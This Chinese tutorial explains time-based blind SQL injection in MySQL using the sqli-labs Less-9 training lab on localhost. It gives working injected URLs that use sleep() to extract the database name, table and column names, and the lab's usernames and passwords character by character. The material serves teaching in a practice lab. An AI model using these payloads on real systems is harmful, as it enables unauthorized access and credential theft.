适用场景:没有数据回显,条件正确与否结果一样
利用方式:构造判断条件,添加sleep,逐个猜测(盲猜)
IF表达式
IF( expr1 , expr2 , expr3 )
#expr1 的值为 TRUE,则返回值为 expr2
#expr1 的值为FALSE,则返回值为 expr3
expr1 的值为 TRUE,则返回值为 expr2 expr1 的值为FALSE,则返回值为 expr3
mysql> select if(1=1,1,0); #条件为真 返回1
+-------------+
| if(1=1,1,0) |
+-------------+
| 1 |
+-------------+
mysql> select if(1=2,1,0); #条件为假 返回0
+-------------+
| if(1=2,1,0) |
+-------------+
| 0 |
+-------------+
count(列名) #查询当前列中的元组的个数
mysql> select username from users;
+----------+
| username |
+----------+
| Dumb |
| Angelina |
| Dummy |
| secure |
| stupid |
| superman |
| batman |
| admin |
| admin1 |
| admin2 |
| admin3 |
| dhakkan |
| admin4 |
+----------+
mysql> select count(username) from users;
+-----------------+
| count(username) |
+-----------------+
| 13 |
+-----------------+
sleep(n) 函数 睡眠n秒后执行。
select length(database())=8; #截取长度如果是8,返回1,否则返回0
select if(1=1,1,0) #判断赋值
select sleep(1) #睡眠n秒后执行
select sleep(if(select length(database()=8),1,0)) #如果数据库长度是8 睡1秒
select if(length(database=8),sleep(1),0) #等价于上面
基于时间的盲注,以sqli-labs less-9 (第9关)为例
http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and if(length(database())=8,sleep(5),0) -- - #有明显延迟说明数据库名的长度是8
http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and if (ASCII(substr(database(),1,1))=115,sleep(5),0) -- - #有5s延迟说明第数据库的第一个字母对应的ASCII码是115 也就是s 以此类推数据库名security
判断出数据库名为security
# 确定表的个数为4个
http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and
if ((SELECT COUNT(table_name) FROM information_schema.tables WHERE TABLE_schema='security')=4,SLEEP(5),0) -- -
# 确定第一个表名的长度
http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and
if(LENGTH((SELECT table_name from information_schema.TABLES where table_schema='security' limit 0,1))=6,sleep(5),0) -- -
# 确定表名
http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and
if(ASCII(SUBSTR((SELECT table_name from information_schema.TABLES where table_schema='security' limit 0,1),1,1))=101,SLEEP(5),0) -- --
依次类推 确定出所有表名 emails,referers,uagents,users.
这里提供一个技巧,不需要猜测表名的个数以及表名的长度,语法如下:
http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and
if(ASCII(SUBSTR((SELECT TABLE_NAME FROM information_schema.TABLES WHERE TABLE_schema='security' LIMIT 0,1),7,1))>=1,SLEEP(5),0) -- -
根据这一步,依次往后测定如果为空字符的话,意味着第一个表名结束。比入依次测定出第一个表名的前6个字母为 emails 测定第7个的时候让ASCII>=1 没有延迟,说明这是一个空字符(ASCII码对应的0是空字符),意味着表名的结束,为了正确性,可以继续测定第8个,依旧是空字符。按照这个办法依次猜测后面的表名 分别为emails,referers,uagents,users.然后依照此办法依次猜测字段名,字段名的值。
此方法将字段名下的所有值集中到一行,用此函数可以不用确定表的个数,不用确定表名,可以把所有表名加在一起的长度确定下来。
# 确定所有表名加在一起的长度
http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and
IF(length((SELECT GROUP_CONCAT(table_name) from information_schema.tables where table_schema='security'))=29,sleep(5),0) -- -
# group_concat()语句默认用逗号分隔,所以表名长度加逗号的长度一共是29
# 依次猜测29个字符即可猜出表名
http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and
if(ASCII(SUBSTR((SELECT group_concat(table_name) from information_schema.TABLES where table_schema='security'),1,1))=101,SLEEP(5),0) -- -
# 确定出users表中所有字段名的长度加上逗号的长度为20
http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and
if(length((select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'))=20,sleep(5),1) -- -
# 依次确定字段名
http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and
if(ASCII(substr((select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),1,1))=105,sleep(5),0)-- -
# 第一个字母对应的ascii码是105
# 依次进行猜测 猜测出字段名:id,username,password
# 猜出所有username值加上逗号得长度是91
http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and
if(length((select group_concat(username) from security.users))=91,SLEEP(5),0) -- -
#猜测出username得值
http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and
IF(ASCII(substr((select group_concat(username) from security.users),1,1))=68,SLEEP(5),0)-- -
Dumb,Angelina,Dummy,secure,stupid,superman,batman,admin,admin1,admin2,admin3,dhakkan,admin4
# 猜测出password的值加上逗号的长度是96
http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and
if(length((select group_concat(password) from security.users))=96,SLEEP(5),0) -- -
# 猜测值
http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and
IF(ASCII(substr((select group_concat(password) from security.users),1,1))=68,SLEEP(5),0)-- -
Dumb,
I-kill-you,p@ssword,crappy,stupidity,genious,mob!le,admin,admin1,admin2,admin3,dumbo,admin4
username:
Dumb,Angelina,Dummy,secure,stupid,superman,batman,admin,admin1,admin2,admin3,dhakkan,admin4
password:
Dumb,
I-kill-you,p@ssword,crappy,stupidity,genious,mob!le,admin,admin1,admin2,admin3,dumbo,admin4